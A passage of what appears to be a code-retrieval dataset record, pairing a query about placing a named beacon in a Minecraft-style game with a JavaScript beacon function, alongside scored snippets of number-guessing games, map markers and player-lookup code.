guessedRetries);\\n if (actualRetries < guessedRetries){\\n guessedRetries = prompt('Number is lower than your guess. Try again!');\\n } else if (actualRetries > guessedRetries){\\n guessedRetries = prompt('Number is higher than your guess. Try again!');\\n } else {\\n correctGuess = true;\\n break;\\n }\\n numberOfGuesses++;\\n }\\n\\n //Keep track of number ofright answers. Set the alert message depending on the outcomme\\n\\n if (!correctGuess){\\n alert('Sorry, you have exhausted the number of tries.');\\n } else{\\n alert('Awesome, you got it!');\\n numberOfRightAnswers++;\\n }\\n\\n}\",\n \"function checkGuess(playersGuess){\\n\\t//If the number hasn't already been tried, check to see if it is the winning number\\n if (numbersTried.indexOf(playersGuess) == -1) {\\n //If it is a winning number\\n if(winningNumber==playersGuess) {\\n $('.feedback').text(\\\"You won!\\\");\\n $('.remaining').text(\\\"Congratulations!\\\")\\n playerWon();\\n }\\n //If it is not a winning number, add it to array of tried numbers, and increment guesses \\n else {\\n $('.feedback').text(lowerOrHigher(winningNumber, playersGuess));\\n\\n numbersTried.push(playersGuess);\\n //Have not given a hint for the current step\\n hintNotGiven = true;\\n\\n guesses--;\\n\\n //Message to be printed for number of guesses remaining, and also determining if the user lost\\n if (guesses > 1) {\\n $('.remaining').text(guesses + \\\" Guesses remaining! Make it count!\\\")\\n } else if (guesses == 1) {\\n $('.remaining').text(guesses + \\\" Guess remaining! Make it count!\\\")\\n } else {\\n $('.feedback').text(\\\"You lost. Play again?\\\");\\n $('.remaining').text(\\\"Game Over\\\")\\n playerLost();\\n };\\n };\\n} \\n //If the user has already guessed this number\\n else {\\n $('.feedback').text(\\\"You have already guessed this number\\\");\\n};\\n\\n}\",\n \"function checkNumGuess() {\\n\\tif(guesses === 0) {\\n\\t\\talert(\\\"Sorry, you couldn't guess the word. Game Over!\\\");\\n\\t}\\n}\",\n \"function checkGuess(){\\n\\tif (playersGuess === winningNumber) {\\n\\t\\tmoveSection();\\n\\t\\tchangeAnn(\\\"YOU WIN!\\\")\\n\\t\\tfaceDance();\\n\\n\\t} else {\\n\\t\\tif (arrayOfGuesses.includes(playersGuess)) {\\n\\t\\t\\t$('#announcement').fadeOut('fast');\\t\\n\\t\\t\\tchangeAnn(\\\"You already guessed that number\\\");\\n\\t\\t} else {\\n\\t\\t\\tarrayOfGuesses.push(playersGuess);\\n\\t\\t\\tif (arrayOfGuesses.length === 5){\\n\\t\\t\\t\\tchangeAnn(\\\"Game Over!\\\");\\n\\t\\t\\t\\t$('#tryAgain').css('background', 'red');\\n\\t\\t\\t\\tconsole.log(arrayOfGuesses);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlowerOrHigher();\\n\\t\\t\\t\\tfaceWag();\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"function randomGuess(num){\\n\\tnotGuessed = true;\\n\\tvar counter = 0;\\n\\twhile(notGuessed){\\n\\t\\tcounter++;\\n\\t\\tvar rand = Math.random() * array.length;\\n\\t\\tif(array[rand] == num){\\n\\t\\t\\tnotGuessed = false;\\n\\t\\t}\\n\\t}\\n\\treturn counter;\\n}\",\n \"function guess() {\\n\\t\\tvar guessClick = $(this).text();\\n\\t\\t// console.log(guessClick + \\\" was clicked\\\");\\n\\n\\t\\tif (guessClick === correctAnswer) {\\n\\t\\t\\tcorrectGuess();\\n\\t\\t} else {\\n\\t\\t\\tincorrectGuess();\\n\\t\\t}\\n\\t}\",\n \"function questionSix(){\\n var myNum = 7;\\n var turns = 4;\\n\\n\\n var guess = parseInt(prompt('Hi! Do you think you can guess my favorite number? You have 4 attempts'));\\n do{\\n if (guess > myNum){\\n turns--;\\n alert('Too high, try again. You have ' + turns + ' remaining');\\n guess = parseInt(prompt ('What is my number?'));\\n } if (guess < myNum){\\n turns--;\\n alert('Too low, try again. You have ' + turns + ' remaining');\\n guess =parseInt(prompt ('What is my number?'));\\n } if (turns < 1) {\\n alert('Hey ' + name + '! I said you were out of turns!');\\n } if (guess === myNum){\\n alert('OMG! You are right!');\\n score++;\\n }\\n }\\n while (guess !== myNum && turns >= 1);\\n\\n}\",\n \"function askIfPlayerWantsToPlay() {\\n if (roundCount == 10) {\\n alert(\\\"Sorry your turns are up\\\");\\n } else {\\n let tryAgain = prompt('You can try up to 10 times. Would you like to try to guess a number. Type \\\"yes\\\" or \\\"no\\\"');\\n alert(tryAgain);\\n if (tryAgain == \\\"no\\\") {\\n alert(\\\"Quitting so soon? roundCount \\\" + roundCount);\\n return;\\n } else if (tryAgain != \\\"yes\\\") {\\n alert('Please enter \\\"yes\\\" or \\\"no\\\"');\\n } else {\\n alert(\\\"Good Luck!\\\");\\n }\\n roundCount = roundCount++;\\n validateUserInputIsNumber();\\n }\\n\\n}\",\n \"function fullGuessNumber(){\\n var userGuessNumber =prompt('Guess a number between 1-20, you\\\\'ll have 4 chances with this being your first :)');\\n var attemptTries;\\n // using parseInt() will turn whatever into a number or using Number()\\n\\n\\n for(attemptTries = 0;attemptTries<4;attemptTries++){\\n var userGuessedThisNumber = parseInt(userGuessNumber);\\n if(attemptTries===3){\\n userGuessNumber = prompt('Last chance! tip: it\\\\'s between 9 and 12 hehe');\\n userGuessedThisNumber= parseInt(userGuessNumber);\\n if(userGuessedThisNumber=== 11){\\n alert('Wow you guessed it! Nice job!');\\n userScore++;\\n break;\\n }else{\\n alert('You failed all guesses,it was 11. oh well');\\n break;\\n }\\n }\\n if(userGuessedThisNumber === 11){\\n alert('Wow you guessed it. Nice job!');\\n userScore;\\n break;\\n }else if(userGuessedThisNumber< 11){\\n userGuessNumber= prompt('Wrong Answer! A bit low try, again! Guess a number between 1-20');\\n } else if(userGuessedThisNumber> 11){\\n userGuessNumber= prompt('Wrong answer! A bit high, try again.Guess a number between 1-20');\\n }else{\\n userGuessNumber=prompt('Hey please put a correct choice, a number between 1-20! this counts as wrong. Try again.Guess a number between 1-20');\\n\\n }\\n\\n\\n }\\n}\",\n \"function isMatches(window) {\\n var userNumber = window.prompt(\\\"Please enter a number between 1 to 10\\\", \\\"1\\\");\\n var randomNumber = Math.floor(Math.random() * 10 + 1);\\n var result;\\n\\n userNumber = parseInt(userNumber);\\n\\n if (userNumber === randomNumber) {\\n result = \\\"Good Work\\\";\\n } else {\\n result = \\\"Not matched\\\";\\n }\\n\\n return result;\\n}\",\n \"function newGame(){\\n\\t\\tsecretNumber = Math.floor(Math.random()*100) + 1; //Gernerates #\\n\\t\\t//console.log('secretNumber', secretNumber); shows secret number in console.\\n\\n\\t\\tcounter = 0;\\n\\t\\tdisplay.innerHTML = counter;\\n\\n\\t\\t$('.guessBox').html(''); //resets html and results\\n\\n\\t\\tdocument.getElementById('feedback').innerHTML = \\\"Make Your Guess!\\\";\\n\\n\\t}\",\n \"function compareAndInform() {\\n var resultSection = document.querySelector('.response');\\n if (inputAsNumber() > max ) {\\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\\n } else if (inputAsNumber() < min) {\\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\\n } else if (inputAsNumber() < randomNumber) {\\n resultSection.innerText = \\\"That is too low\\\";\\n } else if (inputAsNumber() > randomNumber) {\\n resultSection.innerText = \\\"That is too high\\\";\\n } else if (inputAsNumber() === randomNumber) {\\n resultSection.innerText = \\\"You guessed it!\\\"\\n increaseValueOnWin();\\n console.log(randomNumber);\\n } else {\\n resultSection.innerText = `You need to guess a NUMBER between ${min} and ${max}`;\\n }\\n}\",\n \"function hint()\\n{ // Begin hint\\n // a) Store the input value in the following variable.\\n //REMEMBER, you will need casting as input values are\\n //always strings\\n guess = Number(input.value);\\n\\n // d) Compare guess to current number\\n if( guess < currentNumber)\\n { // if guess is less than currentNumber\\n // e) Set the message text to say '{guess} is lower\\n //than the secret number.' using string interpolation (templates)\\n message.textContent = `${guess} is lower than the secret number.`;\\n }\\n else\\n { // otherwise...\\n // f) Set the message text to say '{guess} is higher than the secret number.' using string interpolation (templates)\\n message.textContent = `${guess} is higher than the secret number.`;\\n }\\n\\n // TAKE IT FURTHER: Don't keep this if it doesn't work!)\\n // tf a) Using the math absolute function, find the difference\\n // between the guess and the current number\\n diff = Math.abs(guess - currentNumber);\\n\\n // tf b) Create a for loop that starts at 0, checks to see if\\n //it's less than 100, and increments by 10\\n for(var i=0; i<100; i+=10)\\n { // Begin loop\\n // tf c) if the diff is less than your loop initializer\\n //variable (usually it's i) AND diff is NOT less than 5\\n if(diff < i && diff > 5)\\n { // if diff...\\n // tf d) Set message with the following test:\\n // `\\\\nYou are within ${i} of the secret number.`\\n message.textContent = `\\\\nYou are within ${i} of the secret number.`;\\n // tf e) Exit the loop if this condition is true\\n break;\\n } // ...end if\\n } // End loop\\n\\n // tf f) If diff is less than 5\\n if(diff < 5)\\n { // Begin if\\n // g) Append to the message text:\\n // `\\\\nYou are within 5 of the secret number.`\\n message.textContent += `\\\\nYou are within 5 of the secret number.`;\\n } // End if\\n // END OF TAKE IT FURTHER\\n} // End hint\",\n \"function makeGuess(num){\\n let min = 1\\n let max = 5\\n\\n return num === (Math.floor(Math.random() * (max - min + 1)) + min)\\n}\",\n \"function computerguess(Answer) {\\n\\n if (Answer === 'C') {\\n say('Your number was ' + guessedNumber + '!\\\\n I guessed it in ' + amoutOfGuesses + ' tries.');\\n\\n } else {\\n\\n\\n if (Answer === 'H') {\\n firstArg = guessedNumber + 1\\n amoutOfGuesses++;\\n }\\n if (Answer === 'L') {\\n secondArg = guessedNumber - 1\\n amoutOfGuesses++;\\n }\\n guessedNumber = getRandom(firstArg, secondArg);\\n if (firstArg > secondArg) {\\n say('I think you are trying to cheat.');\\n startGame()\\n }\\n say('Is ' + guessedNumber + ' your number?');\\n }\\n}\",\n \"function newgame(){\\n \\t\\tanwser = Math.floor((Math.random() * 100) + 1);\\n\\t\\tcount = 0;\\n\\t\\t$('#count').text(count);\\n\\t\\t$('#feedback').text('Make your Guess!');\\n\\t\\tguesses = [];\\n\\t\\t$('#guessList').children().hide();\\n\\t}\"\n]"},"negative_scores":{"kind":"list like","value":["0.79177094","0.7891137","0.7750411","0.7650739","0.7627652","0.7563111","0.754357","0.75278264","0.7454332","0.74457943","0.7437742","0.7436417","0.74299675","0.742554","0.74173","0.7388835","0.738245","0.7381374","0.73766744","0.7343955","0.73307776","0.73286986","0.73224187","0.7311054","0.7291837","0.72886086","0.72839445","0.72775316","0.72700065","0.72294277","0.721952","0.7214035","0.72095317","0.71815735","0.7171161","0.7167147","0.71575004","0.71520954","0.7151983","0.7112796","0.7108996","0.7099386","0.70870835","0.7073245","0.70555186","0.70498013","0.7047332","0.7041257","0.7039411","0.7038683","0.7037974","0.7037932","0.70373553","0.703394","0.7023878","0.7006472","0.7005588","0.7001845","0.6997528","0.69942355","0.6992071","0.699187","0.6985437","0.69763315","0.6972782","0.6972701","0.695206","0.6939995","0.6925095","0.6922947","0.6914909","0.6908768","0.6906665","0.69047225","0.6896488","0.68886256","0.68869036","0.6884871","0.6884611","0.6881124","0.6879684","0.68789464","0.6874477","0.68733716","0.6868224","0.6866971","0.6866567","0.68595093","0.68377954","0.68254346","0.68226","0.68202996","0.68193674","0.6815948","0.68158436","0.68157315","0.6813363","0.6803754","0.679871","0.67968786"],"string":"[\n \"0.79177094\",\n \"0.7891137\",\n \"0.7750411\",\n \"0.7650739\",\n \"0.7627652\",\n \"0.7563111\",\n \"0.754357\",\n \"0.75278264\",\n \"0.7454332\",\n \"0.74457943\",\n \"0.7437742\",\n \"0.7436417\",\n \"0.74299675\",\n \"0.742554\",\n \"0.74173\",\n \"0.7388835\",\n \"0.738245\",\n \"0.7381374\",\n \"0.73766744\",\n \"0.7343955\",\n \"0.73307776\",\n \"0.73286986\",\n \"0.73224187\",\n \"0.7311054\",\n \"0.7291837\",\n \"0.72886086\",\n \"0.72839445\",\n \"0.72775316\",\n \"0.72700065\",\n \"0.72294277\",\n \"0.721952\",\n \"0.7214035\",\n \"0.72095317\",\n \"0.71815735\",\n \"0.7171161\",\n \"0.7167147\",\n \"0.71575004\",\n \"0.71520954\",\n \"0.7151983\",\n \"0.7112796\",\n \"0.7108996\",\n \"0.7099386\",\n \"0.70870835\",\n \"0.7073245\",\n \"0.70555186\",\n \"0.70498013\",\n \"0.7047332\",\n \"0.7041257\",\n \"0.7039411\",\n \"0.7038683\",\n \"0.7037974\",\n \"0.7037932\",\n \"0.70373553\",\n \"0.703394\",\n \"0.7023878\",\n \"0.7006472\",\n \"0.7005588\",\n \"0.7001845\",\n \"0.6997528\",\n \"0.69942355\",\n \"0.6992071\",\n \"0.699187\",\n \"0.6985437\",\n \"0.69763315\",\n \"0.6972782\",\n \"0.6972701\",\n \"0.695206\",\n \"0.6939995\",\n \"0.6925095\",\n \"0.6922947\",\n \"0.6914909\",\n \"0.6908768\",\n \"0.6906665\",\n \"0.69047225\",\n \"0.6896488\",\n \"0.68886256\",\n \"0.68869036\",\n \"0.6884871\",\n \"0.6884611\",\n \"0.6881124\",\n \"0.6879684\",\n \"0.68789464\",\n \"0.6874477\",\n \"0.68733716\",\n \"0.6868224\",\n \"0.6866971\",\n \"0.6866567\",\n \"0.68595093\",\n \"0.68377954\",\n \"0.68254346\",\n \"0.68226\",\n \"0.68202996\",\n \"0.68193674\",\n \"0.6815948\",\n \"0.68158436\",\n \"0.68157315\",\n \"0.6813363\",\n \"0.6803754\",\n \"0.679871\",\n \"0.67968786\"\n]"},"document_score":{"kind":"string","value":"0.6890487"},"document_rank":{"kind":"string","value":"75"}}},{"rowIdx":10,"cells":{"query":{"kind":"string","value":"There are two things needed to place a beacon: the position and a name TO DO: name will have to be unique. At this point, if there are two entries with the same name, it will return the first it finds (a) position: currently, the position is the PLAYER'S position when player places the marker block, so use 'self.position' (b) name: enter a name in quotation marks, like \"beacon1\" or \"pool\""},"document":{"kind":"string","value":"function beacon(me, beaconName){\r\n\r\n //we place a marker at the position we want:\r\n\r\n box(blocks.beacon,1,2,1);\r\n\r\n //In the next lines, we build the beacon object:\t\r\n\r\n var loc = me.getLocation();\r\n\r\n //the next line appends the beacon's name to the array that contains only the tag key (the name the player gives to the beacon) \r\n beaconNameArray.push(beaconName);\r\n\r\n //the position is returned as an object which has coordinates as properties (keys). We are extracting the properties x, y and z\r\n //and puting them in an array whic we call locx. Since I want the numbers to be easy to read, and extreme precision is not \r\n //important for this plugin, I also round the numbers\t\r\n var locx = [Math.round(loc.getX()),Math.round(loc.getY()),Math.round(loc.getZ())];\r\n\r\n //The beacon object is then assembled and appended to the beaconArray array\r\n var beaconObj = {tag: beaconName, position: locx};\r\n beaconArray.push(beaconObj);\r\n\r\n //finally, we display the result to the player, showing the name of the beacon and its coordinates.\r\n //TO DO: TAB list of beacons' names\r\n echo('You are at ' + beaconName + ' at position ' + locx[0] + \", \" + locx[1] + \", \" + locx[2]);\r\n /*\t\r\n these were used to debug:\r\n echo(beaconObj.tag + beaconObj.position);\r\n echo(beaconArray.length);\r\n echo(beaconArray[0]);\r\n echo(beaconNameArray[0]);\r\n */\t\r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function getNewdidFromPos(position) {\n\t//flag ( \"getNewdidFromPos():: Started! Called for position: \" + position );\n\t//a=GM_getValue(myacc())\n\tvar allVillagePos = GM_getValue(myacc() + \"_allVillagePos2\").split(\",\");\n\t//flag ( \"getNewdidFromPos: allVillagePos=\"+allVillagePos+\";\");\n\tfor (var i = 0; i < allVillagePos.length; i++) {\n\t\tvar tt = allVillagePos[i].split(\":\");\n\t\tif ( tt[1] == position) {\n\t\t\treturn tt[0];\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn null;\n}","function findBeacons() {\n\tvar room = \"\";\n\t/*[] values;\n\tfor(var i=0;i>10;i++) {*/\n\t\tBeacon.rangeForBeacons(\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\")\n\t\t.then(function(beacons_found) {\n\t\t // $(\"#beacon-list\").empty();\n\t\t var maxRSSI = 100;\n\t\t for(beaconIndex in beacons_found) {\n\t\t var beacon = beacons_found[beaconIndex]; \n\t\t /* var beaconDiv = $(\"
    \").html(\"Major: \" + beacon.major + \n\t\t \"; Minor: \" + beacon.minor + \n\t\t \"; RSSI: \" + (beacon.rssi*-1));\n\t\t\n\t\t $(\"#beacon-list\").append(beaconDiv);*/\n\t\t if(beacon.rssi*-1 < maxRSSI) {\n\t\t \t room = getRoomName(beacon.minor);\n\t\t \t maxRSSI = beacon.rssi*-1;\n\t\t }\n\t\t }\n\t\t $(\"#myLocation\").text(/*\"Ole Johan Dahls Hus\" + */room);\n\t\t if(room == \"\") {\n\t\t\t setOffline();\n\t\t }\n\t\t newLocation(room);\n\t\t})\n\t\t.fail(function() {\n\t\t alert(\"failed serching for beacons!\");\n\t\t setOffline();\n\t\t});\n\t//}\n}","function searchObject(type){\n\tvar target;\n console.log(\"123\");\n\tif(type==\"beacon\"){\n\t\t target=beaconMap[document.getElementById('beaconSearch').value];\n\t}else{\n\t\t target=reporterMap[document.getElementById('reporterSearch').value];\n console.log(target);\n\t}\n\t toggleBounce(target.marker);\n map.panTo(target.getPosi(),3000);\n if(map.getZoom()<17){\n\t map.setZoom(17);\n\t}\n var date = new Date(target.time*1000);\n\t\n document.getElementById(\"beaconInfo\").innerHTML=\"

    Loggy: \"+target.mac+\"

    \"+\"

    Latitude: \"+target.lat+\"
    \"+\"Longitude: \"+target.lng+\"
    Last Update: \"+date.getFullYear()+\"-\"+(date.getMonth()+1)+\"-\"+date.getDate()+\" \"+date.getHours()+\":\"+date.getMinutes()+\":\"+date.getSeconds()+\"

    \";\n \n}","function locate_iBeacons() {\n kony.print(\"--Start locate_iBeacons--\");\n if (beaconManager === null) {\n kony.print(\"--creating beaconManager--\");\n beaconManager = new com.kony.BeaconManager(monitoringCallback, rangingCallback, errorCallback);\n kony.print(\"--beaconManager = new com.kony.BeaconManager(monitoringCallback, rangingCallback, errorCallback)--\");\n beaconManager.setMonitoringStartedForRegionCallback(monitoringStartedForRegionCallback);\n kony.print(\"--beaconManager.setMonitoringStartedForRegionCallback(monitoringStartedForRegionCallback);--\");\n beaconManager.setAuthorizationStatusChangedCallback(authorizationStatusChangedCallback);\n }\n if (beaconManager.authorizationStatus() != \"BeaconManagerAuthorizationStatusAuthorized\") {\n kony.print(\"Unathorized to use location services\");\n }\n if (!beaconManager.isMonitoringAvailableForBeaconRegions()) {\n kony.print(\"Monitoring not available\");\n return;\n }\n if (!beaconManager.isRangingAvailableForBeaconRegions()) {\n kony.print(\"Ranging not available\");\n return;\n }\n var proximityUUID = \"CAD6ACBA-9D1C-4772-90AA-0FEEF6868D30\";\n var identifier = \"com.kone.LatestKMSDemo\"\n var beaconRegion = new com.kony.BeaconRegion(proximityUUID, null, null, identifier);\n beaconRegion.setNotifyEntryStateOnDisplay(true);\n beaconManager.startMonitoringBeaconRegion(beaconRegion);\n}","findFriendIdByName( nameToSearch ) {\n let friendId = this.ItemNotFound;\n let list = this.state[this.townName];\n \n for( let indx=0; indx {\n if(player_info != undefined && player_info.team != undefined && player_info.position != undefined)\n {\n const { player_id, fullname, image_path, position_id } = player_info;\n if(fullname.includes(player_name))\n {\n if( player_info.position.data.name == position_name)\n {\n const { name } = player_info.team.data;\n if(player_info.team.data.league != undefined)\n {\n const {id} = player_info.team.data.league.data;\n if(id == 271) \n {\n return {\n id: player_id,\n name: fullname,\n image: image_path,\n position: position_id,\n position_name: player_info.position.data.name,\n team_name: name, \n };\n }\n }\n }\n } \n }\n }); \n }","searchByName( nameToSearch ) {\n let itemId = this.ItemNotFound;\n let list = this.state[this.townName];\n let nameToSearchLowerCase = nameToSearch.toLocaleLowerCase();\n let nameToSearchSplit = nameToSearchLowerCase.split(' ');\n let name0ToSearch = nameToSearchSplit[0];\n let name1ToSearch = nameToSearchSplit[1];\n \n \n for( let indx=0; indx npc.id == name);\r\n\r\n\tif (npc.length > 0) {\r\n\t\treturn npc[0];\r\n\t}\r\n\r\n\treturn null;\r\n}","function searchByName(name) {\n var testName = name.toLowerCase();\n if (testName===\"bar\"||\"bars\"||\"restaurant\"||\"restaurants\"||\"food\"||\"beer\") {\n var request = {\n location: pos,\n radius: '500',\n type: ['bar', 'restaurant']\n };\n service = new google.maps.places.PlacesService(map);\n service.nearbySearch(request, callback);\n } else {\n var request = {\n query: name,\n fields: ['photos', 'formatted_address', 'name', 'rating', 'opening_hours', 'geometry'],\n locationBias: {radius: 50, center: pos}\n };\n service = new google.maps.places.PlacesService(map);\n service.findPlaceFromQuery(request, callback);\n };\n}","function get_npc(name) {\n var npc = parent.G.maps[character.map].npcs.filter(npc => npc.id == name);\n\n if (npc.length > 0) {\n return npc[0];\n }\n\n return null;\n}","function find_closest_asset_address(player_enter_x, player_enter_z) {\n var closest_distance = 9999999;\n\n var closet_coor = null;\n\n // for each coordinate our coordinate map\n for (var i = 0; i < coordinate_map.length; i++) {\n var coor = coordinate_map[i]\n\n // determine the distance from that coordinate to the player enter position\n var distance = find_distance(player_enter_x, player_enter_z, coor.x, coor.z)\n\n // if this coordinate is closer set it as our closest\n if (distance < closest_distance) {\n closest_distance = distance\n closet_coor = coor;\n }\n }\n\n // return the address of the closest coordinate\n if (closet_coor != null) {\n return closet_coor.address\n } else {\n return \"\";\n }\n}","function getBpFromName(name) {\n\tconsole.log(storyCardFaceUp);\n\tconsole.log(storyCardFaceUp.foe);\n\tconsole.log(name);\n\tfor (var i = 0; i < cardTypeList.length; i++) {\n\t\t// console.log(cardTypeList[i]);\n\t\t// console.log(name);\n\t\tif (cardTypeList[i].name === name)\n\t\t\tif (cardTypeList[i].hasOwnProperty('bp')) {\n\t\t\t if(storyCardFaceUp.foe === name) return cardTypeList[i].bonusbp;\n\t\t\t return cardTypeList[i].bp;\n\t\t\t}\n\t}\n\treturn \"card not found\";\n}","function rangingCallback(beaconRegion, beacons) {\n kony.print(\"Beacons found for BeaconRegion: \", kony.type(beaconRegion), \" \", beaconRegion, \" Beacons: \", beacons);\n var beaconLabel = \"No beacons\";\n var proximityLabel = \"...\";\n if (beacons.length > 0) {\n beacon = beacons[0];\n proximityUUIDString = beacon.getProximityUUIDString();\n major = beacon.getMajor();\n minor = beacon.getMinor();\n beaconLabel = beacon.getProximityUUIDString() + \" \" + beacon.getMajor() + \" \" + beacon.getMinor();\n proximityLabel = beacon.getProximity();\n }\n if ((prevProximityUUIDString != proximityUUIDString) && (ksid != null)) {\n beaconUpdate();\n }\n}","function getPlayerData(list, playerName) {\n for (let p = 0; p < list.length; p++) {\n const player = list[p];\n if (player.name === playerName) {\n return player;\n }\n }\n // console.log(\"Unable to find player \", playerName, \"in list:\\n\", list);\n}","function getPlayerData(list, playerName) {\n for (let p = 0; p < list.length; p++) {\n const player = list[p];\n if (player.name === playerName) {\n return player;\n }\n }\n console.log(\"Unable to find player \", playerName, \"in list:\\n\", list);\n}","addMarker(level, openings, itemObj, startPosX = -1, startPosY = -1) {\n let startPos = startPosX + startPosY;\n if (startPos >= 0 && openings.indexOf(startPos) === -1 && startPos < this.maze.length) {\n level[startPos] = itemObj;\n }\n else {\n let randomCell = Math.floor(Math.random() * openings.length);\n let addMarkerPosn = openings.splice(randomCell, 1)[0];\n level[addMarkerPosn] = itemObj;\n }\n }","function updateMap(time){\n // console.log(\"----------------------------\");\n if(showBeacon){\n var position1 = JSON.parse(httpGet(beaconPosiSource)); //two dimensional JSON array\n // console.log(\"----------------------------\");\n var position = new ibeaconBeanGroup(position1).getAllBestLocations();\n\n // console.log(position1);\n \n // console.log(position);\n\n\t\tfor(var i=0;i {console.error(err);})\n }else{\n let position = this.maps[currentPlayer.position]\n if(position){\n let availableInteractions =''\n if(position.interactions){\n availableInteractions = this.utils.generateInteractionsListString(position.interactions.filter(interaction => {\n return !currentPlayer.interactionsDone.includes(interaction.name.name)\n }))\n }\n let itemList =''\n if(this.maps[currentPlayer.position].userItems.length > 0){\n itemList = 'Other items on the ground:\\n'\n this.maps[currentPlayer.position].userItems.forEach(currentItem => {\n itemList+=`${currentItem.name.name}\\n`\n })\n }\n let nearbyPlayers = this.utils.generateWhoString(this.who(currentPlayer, channel))\n channel.send(position.description+'\\n'+availableInteractions+'\\n'+nearbyPlayers+'\\n'+itemList).catch(err => {console.error(err);})\n }else{\n console.error('Current position '+currentPlayer.position);\n console.error(this.maps);\n }\n\n }\n //TODO: Add descriptions for the things that need a pass and the pass is owned by the player\n }","map_attribute_name_to_buffer_name( name ) \n { \n return { object_space_pos: \"positions\" }[ name ]; // Use a simple lookup table.\n }","function addSingleMaker(){\n\tmarker = new google.maps.Marker({\n\t\tposition:{\n\t\t\tlat: -41.295005,\n\t\t\tlng: 174.78362\n\t\t},\n\t\tmap: map,\n\t\tanimation: google.maps.Animation.DROP,\n\t\ticon: \"img/person.png\",\n\t\ttitle : \"Yoobee School of Design\",\n\t\tdescription: \"Description for Yoobee School of Design\"\n\t})\n}","getPlayerByName(playerName) {\n return this.players.find((value) => {\n return (value._player.name === playerName);\n });\n }","function getloc()\n{\n\n\tvar latlng = new google.maps.LatLng(shuttle.position.latitude, shuttle.position.longitude);\n geocoder.geocode({ latLng: latlng }, function(results, status){\n\t\tfor(ac in results[0].address_components)\n\t\t{\n\t\t\t//console.log(results[0].address_components[ac].types);\n\t\t\tif(results[0].address_components[ac].types == \"route\")\n\t\t\t{\n\t\t\t\t$(\"#currentstreet\").html(\"Street name: \" + results[0].address_components[ac].long_name);\n\t\t\t}\n\t\t}\n });\n\n\n}","get(name){\n let gameId = this.list.findIndex(i => i.getName() === name.toLowerCase());\n return this.list[gameId];\n }","function addMarker(map,info_friend,info_bulle){\n var marker = new google.maps.Marker({\n position: new google.maps.LatLng(info_friend.lat, info_friend.lng),\n label: \"\" + info_friend.name,\n map: map,\n title : \"Location of \" + info_friend.name\n });\n\n marker.addListener('click', function() {\n info_bulle.open(map, marker);\n });\n return marker;\n}","function getInfo (name) {\n\tconsole.log(name);\n\tconst playerId = name.accountId;\n\tconsole.log(`Account ID: ${playerId}`);\n\tconst playerName = name.name;\n\tconsole.log(`Player name: ${playerName}`);\n\tconst summonerLevel = name.summonerLevel;\n\tconsole.log(`Player Level: ${summonerLevel}`);\n\tconst profileIcon = name.profileIconId;\n\tconsole.log(`Icon number: ${profileIcon}`);\n\trenderName(playerName, summonerLevel, profileIcon);\n\t$('.matches').html(`

    ${playerName}'s last 3 matches`);\n\tgetRecentMatches(playerId, getMatchList);\n}","function positionOf(symb, someBoard, player) {\n\n\t//print_board(someBoard);\n\n\tvar tempSq = {};\n\n\tfor ( var a = 0; a <= 11; a++) {\n\t\tfor (var b = 0; b <= 11; b++) {\n\n\t\t\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\n\n\t\t\t\ttempSq.row = a;\n\t\t\t\ttempSq.col = b;\n\t\t\t\treturn tempSq;\n\t\t\t}\n\t\t}\n\t}\n\n}","function findMarkerIndex(name) {\n //name 'SFO - San Fr...'\n return markers.findIndex(function (m) {\n return m.title === name;\n });\n}","createPlayer() {\n let startWithBob = true;\n this.map.findObject('Player', (obj) => {\n if (obj.type === 'StartPosition') {\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\n if (obj.name === 'Bob') {\n this.bob = new Bob(this, obj.x, obj.y);\n this.bob.depth = 100;\n this.game.Bob = this.bob;\n }\n if (obj.name === 'Flit') {\n this.flit = new Flit(this, obj.x, obj.y);\n this.flit.depth = 100;\n this.game.Flit = this.flit;\n }\n }\n });\n\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\n this.cameras.main.startFollow(this.ActivePlayer);\n }","getNewPosition() {\r\n this.newPosition = this.positionRandom();\r\n // Cree une fonction qui test avec marge les nouvelle position des bombs\r\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \r\n return this.newPosition;\r\n }","function prepEventMarker(){\n\tvar eventDetails = getEventData();\n\tvar location = eventDetails[0];\n\tvar title = eventDetails[1];\n\n\t//We need to be careful with the location. When we store it, the location name usually comes before the address\n\t//ie Vancouver Pizza: 225 Main St.\n\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\n\tif(locationSplit.length>1){ //The name was in there\n\t\tlocation = locationSplit[1]; //Set the location to just the address\n\t}\n\n\tconsole.log('Initing with: Title: ' + title + \" Loc: \" + location);\n\tinitEventData(title, location);\n}","function winnerName() {\n if(winnerAddress === myAddress) {\n return \"Me\";\n }\n if(winnerAddress === oppAddress) {\n return \"Opponent\";\n }\n }","function place(name, address, road){\n this.name = name;\n this.address = address;\n this.road = road;\n console.log(`${this.name} ${this.address} ${this.road}`);\n if (this.name == 'ctg'){\n this.name = 'Chittagong';\n }\n console.log(`${this.name} ${this.address} ${this.road}`);\n}","function reportPosition() {\n var p = distanceWidget.get('position'),\n d = distanceWidget.get('distance'),\n name = $('input[name=name]');\n \n socket.send(JSON.stringify({\n 'action': 'update position',\n 'lat': p.lat(), \n 'lng': p.lng(), \n 'distance': d, \n 'name': name.val() \n }));\n}","function mainMarker(x,y,name,i) {\n \n \n var marker = new google.maps.Marker({\n position: {lat: x, lng: y},\n map: map,\n label:(++i).toString(), \n \n title: name\n });\n markerArray.push(marker);\n }","function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\n{\n if (playerId == -1)\n return true;\n\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\n return true;\n else\n return false;\n}","function emitBeaconUpdate(id) {\n var ship = ships.shipGet(id)\n var out = {};\n\n out[id] = ship.spawnPoint;\n\n io.sockets.emit('shipbeaconstat', out);\n}","function addSugar(name, x, y) {\n\tlocs.push([x, 